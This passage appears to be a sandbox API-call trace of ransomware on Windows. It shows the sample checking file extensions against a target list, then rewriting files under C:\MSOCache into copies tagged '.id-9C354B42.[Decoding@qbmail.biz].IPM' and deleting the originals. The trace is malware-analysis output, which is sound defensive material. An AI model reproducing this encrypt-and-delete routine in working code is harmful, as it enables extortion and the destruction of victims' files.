lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0073.439] lstrlenW (lpString=".pdf") returned 4 [0073.439] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0073.439] lstrlenW (lpString=".xls") returned 4 [0073.439] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0073.439] lstrlenW (lpString=".xlsx") returned 5 [0073.439] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0073.439] lstrlenW (lpString=".ppt") returned 4 [0073.439] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0073.439] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0073.439] lstrlenW (lpString=".zip") returned 4 [0073.439] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0073.439] lstrlenW (lpString=".rar") returned 4 [0073.439] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0073.439] lstrlenW (lpString=".bz2") returned 4 [0073.439] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0073.439] lstrlenW (lpString=".7z") returned 3 [0073.440] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0073.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0073.440] lstrlenW (lpString=".dbf") returned 4 [0073.440] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0073.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0073.440] lstrlenW (lpString=".1cd") returned 4 [0073.440] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0073.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0073.440] lstrlenW (lpString=".jpg") returned 4 [0073.440] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0073.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0073.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0073.440] lstrlenW (lpString=".doc") returned 4 [0073.440] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0073.440] lstrlenW (lpString=".docx") returned 5 [0073.440] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0073.440] lstrlenW (lpString=".pdf") returned 4 [0073.440] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0073.440] lstrlenW (lpString=".xls") returned 4 [0073.440] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0073.440] lstrlenW (lpString=".xlsx") returned 5 [0073.440] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0073.440] lstrlenW (lpString=".ppt") returned 4 [0073.441] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0073.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0073.441] lstrlenW (lpString=".zip") returned 4 [0073.441] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0073.441] lstrlenW (lpString=".rar") returned 4 [0073.441] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0073.441] lstrlenW (lpString=".bz2") returned 4 [0073.441] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0073.441] lstrlenW (lpString=".7z") returned 3 [0073.441] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0073.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0073.441] lstrlenW (lpString=".dbf") returned 4 [0073.441] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0073.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0073.441] lstrlenW (lpString=".1cd") returned 4 [0073.441] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0073.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0073.441] lstrlenW (lpString=".jpg") returned 4 [0073.441] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0073.441] lstrcmpiW (lpString1=".chm", lpString2=".IPM") returned -1 [0073.442] lstrlenW (lpString="pss10r.chm") returned 10 [0073.442] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0073.577] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=27195) returned 1 [0073.577] CloseHandle (hObject=0x1bc) returned 1 [0073.577] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 0x2020 [0073.577] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0073.578] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0073.578] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.578] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.578] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0073.578] GetLastError () returned 0x0 [0073.579] ReadFile (in: hFile=0x1bc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x6a3b, lpOverlapped=0x0) returned 1 [0073.583] WriteFile (in: hFile=0x204, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x6a40, lpOverlapped=0x0) returned 1 [0073.586] ReadFile (in: hFile=0x1bc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0073.586] WriteFile (in: hFile=0x204, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0073.587] SetEndOfFile (hFile=0x204) returned 1 [0073.587] CloseHandle (hObject=0x204) returned 1 [0073.591] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.591] SetEndOfFile (hFile=0x1bc) returned 1 [0073.593] CloseHandle (hObject=0x1bc) returned 1 [0073.594] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0073.594] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 1 [0073.594] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0073.594] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0073.594] lstrlenW (lpString=".doc") returned 4 [0073.595] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0073.595] lstrlenW (lpString=".docx") returned 5 [0073.595] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0073.595] lstrlenW (lpString=".pdf") returned 4 [0073.595] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0073.595] lstrlenW (lpString=".xls") returned 4 [0073.595] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0073.595] lstrlenW (lpString=".xlsx") returned 5 [0073.595] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0073.595] lstrlenW (lpString=".ppt") returned 4 [0073.595] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0073.595] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0073.595] lstrlenW (lpString=".zip") returned 4 [0073.595] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0073.595] lstrlenW (lpString=".rar") returned 4 [0073.595] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0073.595] lstrlenW (lpString=".bz2") returned 4 [0073.595] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0073.596] lstrlenW (lpString=".7z") returned 3 [0073.596] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0073.596] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0073.596] lstrlenW (lpString=".dbf") returned 4 [0073.596] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0073.596] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0073.596] lstrlenW (lpString=".1cd") returned 4 [0073.596] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0073.596] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0073.596] lstrlenW (lpString=".jpg") returned 4 [0073.596] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0073.596] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0073.596] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0073.596] lstrlenW (lpString=".doc") returned 4 [0073.596] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0073.596] lstrlenW (lpString=".docx") returned 5 [0073.596] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0073.597] lstrlenW (lpString=".pdf") returned 4 [0073.597] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0073.597] lstrlenW (lpString=".xls") returned 4 [0073.597] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0073.597] lstrlenW (lpString=".xlsx") returned 5 [0073.597] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0073.597] lstrlenW (lpString=".ppt") returned 4 [0073.597] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0073.597] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0073.597] lstrlenW (lpString=".zip") returned 4 [0073.597] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0073.597] lstrlenW (lpString=".rar") returned 4 [0073.597] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0073.597] lstrlenW (lpString=".bz2") returned 4 [0073.597] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0073.597] lstrlenW (lpString=".7z") returned 3 [0073.597] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0073.597] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0073.597] lstrlenW (lpString=".dbf") returned 4 [0073.598] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0073.598] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0073.598] lstrlenW (lpString=".1cd") returned 4 [0073.598] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0073.598] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0073.598] lstrlenW (lpString=".jpg") returned 4 [0073.598] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0073.598] lstrcmpiW (lpString1=".chm", lpString2=".IPM") returned -1 [0073.598] lstrlenW (lpString="setup.chm") returned 9 [0073.598] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0073.599] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=67190) returned 1 [0073.599] CloseHandle (hObject=0x1bc) returned 1 [0073.599] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 0x2020 [0073.599] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0073.599] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0073.599] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.599] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.600] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0073.601] GetLastError () returned 0x0 [0073.601] ReadFile (in: hFile=0x1bc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x10676, lpOverlapped=0x0) returned 1 [0073.607] WriteFile (in: hFile=0x204, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x10680, lpOverlapped=0x0) returned 1 [0073.611] ReadFile (in: hFile=0x1bc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0073.611] WriteFile (in: hFile=0x204, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0073.611] SetEndOfFile (hFile=0x204) returned 1 [0073.612] CloseHandle (hObject=0x204) returned 1 [0074.053] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.053] SetEndOfFile (hFile=0x1bc) returned 1 [0074.056] CloseHandle (hObject=0x1bc) returned 1 [0074.057] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0074.057] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 1 [0074.058] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0074.058] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0074.058] lstrlenW (lpString=".doc") returned 4 [0074.058] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0074.058] lstrlenW (lpString=".docx") returned 5 [0074.058] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0074.058] lstrlenW (lpString=".pdf") returned 4 [0074.058] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0074.058] lstrlenW (lpString=".xls") returned 4 [0074.058] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0074.058] lstrlenW (lpString=".xlsx") returned 5 [0074.058] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0074.058] lstrlenW (lpString=".ppt") returned 4 [0074.058] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0074.058] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0074.059] lstrlenW (lpString=".zip") returned 4 [0074.059] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0074.059] lstrlenW (lpString=".rar") returned 4 [0074.059] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0074.059] lstrlenW (lpString=".bz2") returned 4 [0074.059] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0074.059] lstrlenW (lpString=".7z") returned 3 [0074.059] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0074.059] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0074.059] lstrlenW (lpString=".dbf") returned 4 [0074.059] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0074.059] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0074.059] lstrlenW (lpString=".1cd") returned 4 [0074.059] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0074.059] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0074.059] lstrlenW (lpString=".jpg") returned 4 [0074.059] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0074.060] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0074.060] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0074.060] lstrlenW (lpString=".doc") returned 4 [0074.060] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0074.060] lstrlenW (lpString=".docx") returned 5 [0074.060] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0074.060] lstrlenW (lpString=".pdf") returned 4 [0074.060] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0074.060] lstrlenW (lpString=".xls") returned 4 [0074.060] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0074.060] lstrlenW (lpString=".xlsx") returned 5 [0074.060] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0074.060] lstrlenW (lpString=".ppt") returned 4 [0074.060] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0074.060] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0074.060] lstrlenW (lpString=".zip") returned 4 [0074.060] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0074.060] lstrlenW (lpString=".rar") returned 4 [0074.061] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0074.061] lstrlenW (lpString=".bz2") returned 4 [0074.061] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0074.061] lstrlenW (lpString=".7z") returned 3 [0074.061] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0074.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0074.061] lstrlenW (lpString=".dbf") returned 4 [0074.061] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0074.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0074.061] lstrlenW (lpString=".1cd") returned 4 [0074.061] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0074.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0074.061] lstrlenW (lpString=".jpg") returned 4 [0074.061] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0074.062] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0074.062] lstrlenW (lpString="AccessMUISet.xml") returned 16 [0074.062] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0074.062] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=819) returned 1 [0074.062] CloseHandle (hObject=0x1bc) returned 1 [0074.063] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 0x2020 [0074.063] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0074.063] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0074.063] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.063] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.063] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0074.064] GetLastError () returned 0x0 [0074.064] ReadFile (in: hFile=0x1bc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x333, lpOverlapped=0x0) returned 1 [0074.392] WriteFile (in: hFile=0x204, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x340, lpOverlapped=0x0) returned 1 [0074.397] ReadFile (in: hFile=0x1bc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0074.397] WriteFile (in: hFile=0x204, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0074.397] SetEndOfFile (hFile=0x204) returned 1 [0074.397] CloseHandle (hObject=0x204) returned 1 [0074.400] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.400] SetEndOfFile (hFile=0x1bc) returned 1 [0074.403] CloseHandle (hObject=0x1bc) returned 1 [0074.403] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0074.403] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 1 [0074.404] lstrlenW (lpString="C:\\MSOCache\\All 